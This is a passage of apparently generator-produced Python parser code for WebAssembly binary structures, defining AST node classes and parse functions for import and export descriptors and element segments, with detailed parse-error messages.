f'Import(module={self.module!r}, name={self.name!r}, descriptor={self.descriptor!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_Import, fullparse) def _try_Import(_text, _pos): # Begin Seq start_pos16 = _pos while True: # Begin Ref (_status, _result, _pos) = (yield (3, _try_Name, _pos)) # End Ref if not (_status): break module = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_Name, _pos)) # End Ref if not (_status): break name = _result # Begin Choice farthest_err2 = _raise_error233 backtrack15 = farthest_pos2 = _pos while True: # Option 1: # Begin Ref (_status, _result, _pos) = (yield (3, _try_ImportFunc, _pos)) # End Ref if _status: break if (farthest_pos2 < _pos): farthest_pos2 = _pos farthest_err2 = _result _pos = backtrack15 # Option 2: # Begin Ref (_status, _result, _pos) = (yield (3, _try_ImportTable, _pos)) # End Ref if _status: break if (farthest_pos2 < _pos): farthest_pos2 = _pos farthest_err2 = _result _pos = backtrack15 # Option 3: # Begin Ref (_status, _result, _pos) = (yield (3, _try_ImportMemory, _pos)) # End Ref if _status: break if (farthest_pos2 < _pos): farthest_pos2 = _pos farthest_err2 = _result _pos = backtrack15 # Option 4: # Begin Ref (_status, _result, _pos) = (yield (3, _try_ImportGlobal, _pos)) # End Ref if _status: break if (farthest_pos2 < _pos): farthest_pos2 = _pos farthest_err2 = _result _pos = farthest_pos2 _result = farthest_err2 break # End Choice if not (_status): break descriptor = _result _result = Import(module, name, descriptor) _result._metadata.position_info = (start_pos16, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error233(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'Import' rule, at the expression:\n" ' ImportFunc | ImportTable | ImportMemory | ImportGlobal\n\n' 'Unexpected input' ) raise ParseError((title + details), _pos, line, col) class ImportFunc(Node): """ class ImportFunc { let id: 0x0 type: TypeIndex } """ _fields = ('type',) id = 0x0 def __init__(self, type): Node.__init__(self) self.type = type def __repr__(self): return f'ImportFunc(type={self.type!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_ImportFunc, fullparse) def _try_ImportFunc(_text, _pos): # Begin Seq start_pos17 = _pos while True: # Begin Byte # 0x0 if (_pos < len(_text)) and (_text[_pos] == 0): _result = 0 _pos = (_pos + 1) _status = True else: _result = _raise_error241 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_TypeIndex, _pos)) # End Ref if not (_status): break type = _result _result = ImportFunc(type) _result._metadata.position_info = (start_pos17, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error241(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'ImportFunc' rule, at the expression:\n" ' 0x0\n\n' 'Expected to match the byte value 0x0' ) raise ParseError((title + details), _pos, line, col) class ImportTable(Node): """ class ImportTable { let id: 0x1 type: TableType } """ _fields = ('type',) id = 0x1 def __init__(self, type): Node.__init__(self) self.type = type def __repr__(self): return f'ImportTable(type={self.type!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_ImportTable, fullparse) def _try_ImportTable(_text, _pos): # Begin Seq start_pos18 = _pos while True: # Begin Byte # 0x1 if (_pos < len(_text)) and (_text[_pos] == 1): _result = 1 _pos = (_pos + 1) _status = True else: _result = _raise_error247 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_TableType, _pos)) # End Ref if not (_status): break type = _result _result = ImportTable(type) _result._metadata.position_info = (start_pos18, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error247(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'ImportTable' rule, at the expression:\n" ' 0x1\n\n' 'Expected to match the byte value 0x1' ) raise ParseError((title + details), _pos, line, col) class ImportMemory(Node): """ class ImportMemory { let id: 0x2 type: MemoryType } """ _fields = ('type',) id = 0x2 def __init__(self, type): Node.__init__(self) self.type = type def __repr__(self): return f'ImportMemory(type={self.type!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_ImportMemory, fullparse) def _try_ImportMemory(_text, _pos): # Begin Seq start_pos19 = _pos while True: # Begin Byte # 0x2 if (_pos < len(_text)) and (_text[_pos] == 2): _result = 2 _pos = (_pos + 1) _status = True else: _result = _raise_error253 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_MemoryType, _pos)) # End Ref if not (_status): break type = _result _result = ImportMemory(type) _result._metadata.position_info = (start_pos19, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error253(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'ImportMemory' rule, at the expression:\n" ' 0x2\n\n' 'Expected to match the byte value 0x2' ) raise ParseError((title + details), _pos, line, col) class ImportGlobal(Node): """ class ImportGlobal { let id: 0x3 type: GlobalType } """ _fields = ('type',) id = 0x3 def __init__(self, type): Node.__init__(self) self.type = type def __repr__(self): return f'ImportGlobal(type={self.type!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_ImportGlobal, fullparse) def _try_ImportGlobal(_text, _pos): # Begin Seq start_pos20 = _pos while True: # Begin Byte # 0x3 if (_pos < len(_text)) and (_text[_pos] == 3): _result = 3 _pos = (_pos + 1) _status = True else: _result = _raise_error259 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_GlobalType, _pos)) # End Ref if not (_status): break type = _result _result = ImportGlobal(type) _result._metadata.position_info = (start_pos20, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error259(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'ImportGlobal' rule, at the expression:\n" ' 0x3\n\n' 'Expected to match the byte value 0x3' ) raise ParseError((title + details), _pos, line, col) class Export(Node): """ class Export { name: Name descriptor: ExportFunc | ExportTable | ExportMemory | ExportGlobal } """ _fields = ('name', 'descriptor') def __init__(self, name, descriptor): Node.__init__(self) self.name = name self.descriptor = descriptor def __repr__(self): return f'Export(name={self.name!r}, descriptor={self.descriptor!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_Export, fullparse) def _try_Export(_text, _pos): # Begin Seq start_pos21 = _pos while True: # Begin Ref (_status, _result, _pos) = (yield (3, _try_Name, _pos)) # End Ref if not (_status): break name = _result # Begin Choice farthest_err3 = _raise_error267 backtrack16 = farthest_pos3 = _pos while True: # Option 1: # Begin Ref (_status, _result, _pos) = (yield (3, _try_ExportFunc, _pos)) # End Ref if _status: break if (farthest_pos3 < _pos): farthest_pos3 = _pos farthest_err3 = _result _pos = backtrack16 # Option 2: # Begin Ref (_status, _result, _pos) = (yield (3, _try_ExportTable, _pos)) # End Ref if _status: break if (farthest_pos3 < _pos): farthest_pos3 = _pos farthest_err3 = _result _pos = backtrack16 # Option 3: # Begin Ref (_status, _result, _pos) = (yield (3, _try_ExportMemory, _pos)) # End Ref if _status: break if (farthest_pos3 < _pos): farthest_pos3 = _pos farthest_err3 = _result _pos = backtrack16 # Option 4: # Begin Ref (_status, _result, _pos) = (yield (3, _try_ExportGlobal, _pos)) # End Ref if _status: break if (farthest_pos3 < _pos): farthest_pos3 = _pos farthest_err3 = _result _pos = farthest_pos3 _result = farthest_err3 break # End Choice if not (_status): break descriptor = _result _result = Export(name, descriptor) _result._metadata.position_info = (start_pos21, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error267(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'Export' rule, at the expression:\n" ' ExportFunc | ExportTable | ExportMemory | ExportGlobal\n\n' 'Unexpected input' ) raise ParseError((title + details), _pos, line, col) class ExportFunc(Node): """ class ExportFunc { let id: 0x0 index: FunctionIndex } """ _fields = ('index',) id = 0x0 def __init__(self, index): Node.__init__(self) self.index = index def __repr__(self): return f'ExportFunc(index={self.index!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_ExportFunc, fullparse) def _try_ExportFunc(_text, _pos): # Begin Seq start_pos22 = _pos while True: # Begin Byte # 0x0 if (_pos < len(_text)) and (_text[_pos] == 0): _result = 0 _pos = (_pos + 1) _status = True else: _result = _raise_error275 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_FunctionIndex, _pos)) # End Ref if not (_status): break index = _result _result = ExportFunc(index) _result._metadata.position_info = (start_pos22, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error275(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'ExportFunc' rule, at the expression:\n" ' 0x0\n\n' 'Expected to match the byte value 0x0' ) raise ParseError((title + details), _pos, line, col) class ExportTable(Node): """ class ExportTable { let id: 0x1 index: TableIndex } """ _fields = ('index',) id = 0x1 def __init__(self, index): Node.__init__(self) self.index = index def __repr__(self): return f'ExportTable(index={self.index!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_ExportTable, fullparse) def _try_ExportTable(_text, _pos): # Begin Seq start_pos23 = _pos while True: # Begin Byte # 0x1 if (_pos < len(_text)) and (_text[_pos] == 1): _result = 1 _pos = (_pos + 1) _status = True else: _result = _raise_error281 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_TableIndex, _pos)) # End Ref if not (_status): break index = _result _result = ExportTable(index) _result._metadata.position_info = (start_pos23, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error281(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'ExportTable' rule, at the expression:\n" ' 0x1\n\n' 'Expected to match the byte value 0x1' ) raise ParseError((title + details), _pos, line, col) class ExportMemory(Node): """ class ExportMemory { let id: 0x2 index: MemoryIndex } """ _fields = ('index',) id = 0x2 def __init__(self, index): Node.__init__(self) self.index = index def __repr__(self): return f'ExportMemory(index={self.index!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_ExportMemory, fullparse) def _try_ExportMemory(_text, _pos): # Begin Seq start_pos24 = _pos while True: # Begin Byte # 0x2 if (_pos < len(_text)) and (_text[_pos] == 2): _result = 2 _pos = (_pos + 1) _status = True else: _result = _raise_error287 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_MemoryIndex, _pos)) # End Ref if not (_status): break index = _result _result = ExportMemory(index) _result._metadata.position_info = (start_pos24, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error287(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'ExportMemory' rule, at the expression:\n" ' 0x2\n\n' 'Expected to match the byte value 0x2' ) raise ParseError((title + details), _pos, line, col) class ExportGlobal(Node): """ class ExportGlobal { let id: 0x3 index: GlobalIndex } """ _fields = ('index',) id = 0x3 def __init__(self, index): Node.__init__(self) self.index = index def __repr__(self): return f'ExportGlobal(index={self.index!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_ExportGlobal, fullparse) def _try_ExportGlobal(_text, _pos): # Begin Seq start_pos25 = _pos while True: # Begin Byte # 0x3 if (_pos < len(_text)) and (_text[_pos] == 3): _result = 3 _pos = (_pos + 1) _status = True else: _result = _raise_error293 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_GlobalIndex, _pos)) # End Ref if not (_status): break index = _result _result = ExportGlobal(index) _result._metadata.position_info = (start_pos25, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error293(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'ExportGlobal' rule, at the expression:\n" ' 0x3\n\n' 'Expected to match the byte value 0x3' ) raise ParseError((title + details), _pos, line, col) def _try_ElementSegment(_text, _pos): # Rule 'ElementSegment' # Begin Choice farthest_err4 = _raise_error297 backtrack17 = farthest_pos4 = _pos while True: # Option 1: # Begin Ref (_status, _result, _pos) = (yield (3, _try_DefaultSegment, _pos)) # End Ref if _status: break if (farthest_pos4 < _pos): farthest_pos4 = _pos farthest_err4 = _result _pos = backtrack17 # Option 2: # Begin Ref (_status, _result, _pos) = (yield (3, _try_PassiveFuncRefSegment, _pos)) # End Ref if _status: break if (farthest_pos4 < _pos): farthest_pos4 = _pos farthest_err4 = _result _pos = backtrack17 # Option 3: # Begin Ref (_status, _result, _pos) = (yield (3, _try_ActiveFuncRefSegment, _pos)) # End Ref if _status: break if (farthest_pos4 < _pos): farthest_pos4 = _pos farthest_err4 = _result _pos = backtrack17 # Option 4: # Begin Ref (_status, _result, _pos) = (yield (3, _try_DeclarativeFuncRefSegment, _pos)) # End Ref if _status: break if (farthest_pos4 < _pos): farthest_pos4 = _pos farthest_err4 = _result _pos = backtrack17 # Option 5: # Begin Ref (_status, _result, _pos) = (yield (3, _try_DefaultExpressionSegment, _pos)) # End Ref if _status: break if (farthest_pos4 < _pos): farthest_pos4 = _pos farthest_err4 = _result _pos = backtrack17 # Option 6: # Begin Ref (_status, _result, _pos) = (yield (3, _try_PassiveExpressionSegment, _pos)) # End Ref if _status: break if (farthest_pos4 < _pos): farthest_pos4 = _pos farthest_err4 = _result _pos = backtrack17 # Option 7: # Begin Ref (_status, _result, _pos) = (yield (3, _try_ActiveExpressionSegment, _pos)) # End Ref if _status: break if (farthest_pos4 < _pos): farthest_pos4 = _pos farthest_err4 = _result _pos = backtrack17 # Option 8: # Begin Ref (_status, _result, _pos) = (yield (3, _try_DeclarativeExpressionSegment, _pos)) # End Ref if _status: break if (farthest_pos4 < _pos): farthest_pos4 = _pos farthest_err4 = _result _pos = farthest_pos4 _result = farthest_err4 break # End Choice yield (_status, _result, _pos) def _parse_ElementSegment(text, pos=0, fullparse=True): return _run(text, pos, _try_ElementSegment, fullparse) ElementSegment = Rule('ElementSegment', _parse_ElementSegment, """ ElementSegment = DefaultSegment | PassiveFuncRefSegment | ActiveFuncRefSegment | DeclarativeFuncRefSegment | DefaultExpressionSegment | PassiveExpressionSegment | ActiveExpressionSegment | DeclarativeExpressionSegment """) def _raise_error297(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'ElementSegment' rule, at the expression:\n" ' DefaultSegment | PassiveFuncRefSegment | ActiveFuncRefSegment | DeclarativeFuncRefSegment | DefaultExpressionSegment | PassiveExpressionSegment | ActiveExpressionSegment | DeclarativeExpressionSegment\n\n' 'Unexpected input' ) raise ParseError((title + details), _pos, line, col) class DefaultSegment(Node): """ class DefaultSegment { let id: 0x0 offset: Expression function_indexes: vec(FunctionIndex) } """ _fields = ('offset', 'function_indexes') id = 0x0 def __init__(self, offset, function_indexes): Node.__init__(self) self.offset = offset self.function_indexes = function_indexes def __repr__(self): return f'DefaultSegment(offset={self.offset!r}, function_indexes={self.function_indexes!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_DefaultSegment, fullparse) def _try_DefaultSegment(_text, _pos): # Begin Seq start_pos26 = _pos while True: # Begin Byte # 0x0 if (_pos < len(_text)) and (_text[_pos] == 0): _result = 0 _pos = (_pos + 1) _status = True else: _result = _raise_error309 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_Expression, _pos)) # End Ref if not (_status): break offset = _result # Begin Call # vec(FunctionIndex) func12 = _ParseFunction(_try_vec, (_try_FunctionIndex,), ()) (_status, _result, _pos) = (yield (3, func12, _pos)) # End Call if not (_status): break function_indexes = _result _result = DefaultSegment(offset, function_indexes) _result._metadata.position_info = (start_pos26, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error309(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'DefaultSegment' rule, at the expression:\n" ' 0x0\n\n' 'Expected to match the byte value 0x0' ) raise ParseError((title + details), _pos, line, col) class PassiveFuncRefSegment(Node): """ class PassiveFuncRefSegment { let id: 0x1 type: 0x0 >> `'funcref'` function_indexes: vec(FunctionIndex) } """ _fields = ('type', 'function_indexes') id = 0x1 def __init__(self, type, function_indexes): Node.__init__(self) self.type = type self.function_indexes = function_indexes def __repr__(self): return f'PassiveFuncRefSegment(type={self.type!r}, function_indexes={self.function_indexes!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_PassiveFuncRefSegment, fullparse) def _try_PassiveFuncRefSegment(_text, _pos): # Begin Seq start_pos27 = _pos while True: # Begin Byte # 0x1 if (_pos < len(_text)) and (_text[_pos] == 1): _result = 1 _pos = (_pos + 1) _status = True else: _result = _raise_error319 _status = False # End Byte if not (_status): break id = _result # Begin Discard # 0x0 >> `'funcref'` while True: # Begin Byte # 0x0 if (_pos < len(_text)) and (_text[_pos] == 0): _result = 0 _pos = (_pos + 1) _status = True else: _result = _raise_error322 _status = False # End Byte if not (_status): break _result = 'funcref' _status = True break # End Discard if not (_status): break type = _result # Begin Call # vec(FunctionIndex) func13 = _ParseFunction(_try_vec, (_try_FunctionIndex,), ()) (_status, _result, _pos) = (yield (3, func13, _pos)) # End Call if not (_status): break function_indexes = _result _result = PassiveFuncRefSegment(type, function_indexes) _result._metadata.position_info = (start_pos27, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error319(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'PassiveFuncRefSegment' rule, at the expression:\n" ' 0x1\n\n' 'Expected to match the byte value 0x1' ) raise ParseError((title + details), _pos, line, col) def _raise_error322(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'PassiveFuncRefSegment' rule, at the expression:\n" ' 0x0\n\n' 'Expected to match the byte value 0x0' ) raise ParseError((title + details), _pos, line, col) class ActiveFuncRefSegment(Node): """ class ActiveFuncRefSegment { let id: 0x2 table_index: TableIndex offset: Expression type: 0x0 >> `'funcref'` function_indexes: vec(FunctionIndex) } """ _fields = ('table_index', 'offset', 'type', 'function_indexes') id = 0x2 def __init__(self, table_index, offset, type, function_indexes): Node.__init__(self) self.table_index = table_index self.offset = offset self.type = type self.function_indexes = function_indexes def __repr__(self): return f'ActiveFuncRefSegment(table_index={self.table_index!r}, offset={self.offset!r}, type={self.type!r}, function_indexes={self.function_indexes!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_ActiveFuncRefSegment, fullparse) def _try_ActiveFuncRefSegment(_text, _pos): # Begin Seq start_pos28 = _pos while True: # Begin Byte # 0x2 if (_pos < len(_text)) and (_text[_pos] == 2): _result = 2 _pos = (_pos + 1) _status = True else: _result = _raise_error331 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_TableIndex, _pos)) # End Ref if not (_status): break table_index = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_Expression, _pos)) # End Ref if not (_status): break offset = _result # Begin Discard # 0x0 >> `'funcref'` while True: # Begin Byte # 0x0 if (_pos < len(_text)) and (_text[_pos] == 0): _result = 0 _pos = (_pos + 1) _status = True else: _result = _raise_error338 _status = False # End Byte if not (_status): break _result = 'funcref' _status = True break # End Discard if not (_status): break type = _result # Begin Call # vec(FunctionIndex) func14 = _ParseFunction(_try_vec, (_try_FunctionIndex,), ()) (_status, _result, _pos) = (yield (3, func14, _pos)) # End Call if not (_status): break function_indexes = _result _result = ActiveFuncRefSegment(table_index, offset, type, function_indexes) _result._metadata.position_info = (start_pos28, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error331(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'ActiveFuncRefSegment' rule, at the expression:\n" ' 0x2\n\n' 'Expected to match the byte value 0x2' ) raise ParseError((title + details), _pos, line, col) def _raise_error338(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'ActiveFuncRefSegment' rule, at the expression:\n" ' 0x0\n\n' 'Expected to match the byte value 0x0' ) raise ParseError((title + details), _pos, line, col) class DeclarativeFuncRefSegment(Node): """ class DeclarativeFuncRefSegment { let id: 0x3 type: 0x0 >> `'funcref'` function_indexes: vec(FunctionIndex) } """ _fields = ('type', 'function_indexes') id = 0x3 def __init__(self, type, function_indexes): Node.__init__(self) self.type = type self.function_indexes = function_indexes def __repr__(self): return f'DeclarativeFuncRefSegment(type={self.type!r}, function_indexes={self.function_indexes!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_DeclarativeFuncRefSegment, fullparse) def _try_DeclarativeFuncRefSegment(_text, _pos): # Begin Seq start_pos29 = _pos while True: # Begin Byte # 0x3 if (_pos < len(_text)) and (_text[_pos] == 3): _result = 3 _pos = (_pos + 1) _status = True else: _result = _raise_error347 _status = False # End Byte if not (_status): break id = _result # Begin Discard # 0x0 >> `'funcref'` while True: # Begin Byte # 0x0 if (_pos < len(_text)) and (_text[_pos] == 0): _result = 0 _pos = (_pos + 1) _status = True else: _result = _raise_error350 _status = False # End Byte if not (_status): break _result = 'funcref' _status = True break # End Discard if not (_status): break type = _result # Begin Call # vec(FunctionIndex) func15 = _ParseFunction(_try_vec, (_try_FunctionIndex,), ()) (_status, _result, _pos) = (yield (3, func15, _pos)) # End Call if not (_status): break function_indexes = _result _result = DeclarativeFuncRefSegment(type, function_indexes) _result._metadata.position_info = (start_pos29, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error347(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'DeclarativeFuncRefSegment' rule, at the expression:\n" ' 0x3\n\n' 'Expected to match the byte value 0x3' ) raise ParseError((title + details), _pos, line, col) def _raise_error350(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'DeclarativeFuncRefSegment' rule, at the expression:\n" ' 0x0\n\n' 'Expected to match the byte value 0x0' ) raise ParseError((title + details), _pos, line, col) class DefaultExpressionSegment(Node): """ class DefaultExpressionSegment { let id: 0x4 offset: Expression initializers: vec(Expression) } """ _fields = ('offset', 'initializers') id = 0x4 def __init__(self, offset, initializers): Node.__init__(self) self.offset = offset self.initializers = initializers def __repr__(self): return f'DefaultExpressionSegment(offset={self.offset!r}, initializers={self.initializers!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_DefaultExpressionSegment, fullparse) def _try_DefaultExpressionSegment(_text, _pos): # Begin Seq start_pos30 = _pos while True: # Begin Byte # 0x4 if (_pos < len(_text)) and (_text[_pos] == 4): _result = 4 _pos = (_pos + 1) _status = True else: _result = _raise_error359 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_Expression, _pos)) # End Ref if not (_status): break offset = _result # Begin Call # vec(Expression) func16 = _ParseFunction(_try_vec, (_try_Expression,), ()) (_status, _result, _pos) = (yield (3, func16, _pos)) # End Call if not (_status): break initializers = _result _result = DefaultExpressionSegment(offset, initializers) _result._metadata.position_info = (start_pos30, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error359(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'DefaultExpressionSegment' rule, at the expression:\n" ' 0x4\n\n' 'Expected to match the byte value 0x4' ) raise ParseError((title + details), _pos, line, col) class PassiveExpressionSegment(Node): """ class PassiveExpressionSegment { let id: 0x5 type: ReferenceType initializers: vec(Expression) } """ _fields = ('type', 'initializers') id = 0x5 def __init__(self, type, initializers): Node.__init__(self) self.type = type self.initializers = initializers def __repr__(self): return f'PassiveExpressionSegment(type={self.type!r}, initializers={self.initializers!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_PassiveExpressionSegment, fullparse) def _try_PassiveExpressionSegment(_text, _pos): # Begin Seq start_pos31 = _pos while True: # Begin Byte # 0x5 if (_pos < len(_text)) and (_text[_pos] == 5): _result = 5 _pos = (_pos + 1) _status = True else: _result = _raise_error369 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_ReferenceType, _pos)) # End Ref if not (_status): break type = _result # Begin Call # vec(Expression) func17 = _ParseFunction(_try_vec, (_try_Expression,), ()) (_status, _result, _pos) = (yield (3, func17, _pos)) # End Call if not (_status): break initializers = _result _result = PassiveExpressionSegment(type, initializers) _result._metadata.position_info = (start_pos31, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error369(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'PassiveExpressionSegment' rule, at the expression:\n" ' 0x5\n\n' 'Expected to match the byte value 0x5' ) raise ParseError((title + details), _pos, line, col) class ActiveExpressionSegment(Node): """ class ActiveExpressionSegment { let id: 0x6 table_index: TableIndex offset: Expression type: ReferenceType initializers: vec(Expression) } """ _fields = ('table_index', 'offset', 'type', 'initializers') id = 0x6 def __init__(self, table_index, offset, type, initializers): Node.__init__(self) self.table_index = table_index self.offset = offset self.type = type self.initializers = initializers def __repr__(self): return f'ActiveExpressionSegment(table_index={self.table_index!r}, offset={self.offset!r}, type={self.type!r}, initializers={self.initializers!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_ActiveExpressionSegment, fullparse) def _try_ActiveExpressionSegment(_text, _pos): # Begin Seq start_pos32 = _pos while True: # Begin Byte # 0x6 if (_pos < len(_text)) and (_text[_pos] == 6): _result = 6 _pos = (_pos + 1) _status = True else: _result = _raise_error379 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_TableIndex, _pos)) # End Ref if not (_status): break table_index = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_Expression, _pos)) # End Ref if not (_status): break offset = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_ReferenceType, _pos)) # End Ref if not (_status): break type = _result # Begin Call # vec(Expression) func18 = _ParseFunction(_try_vec, (_try_Expression,), ()) (_status, _result, _pos) = (yield (3, func18, _pos)) # End Call if not (_status): break initializers = _result _result = ActiveExpressionSegment(table_index, offset, type, initializers) _result._metadata.position_info = (start_pos32, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error379(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'ActiveExpressionSegment' rule, at the expression:\n" ' 0x6\n\n' 'Expected to match the byte value 0x6' ) raise ParseError((title + details), _pos, line, 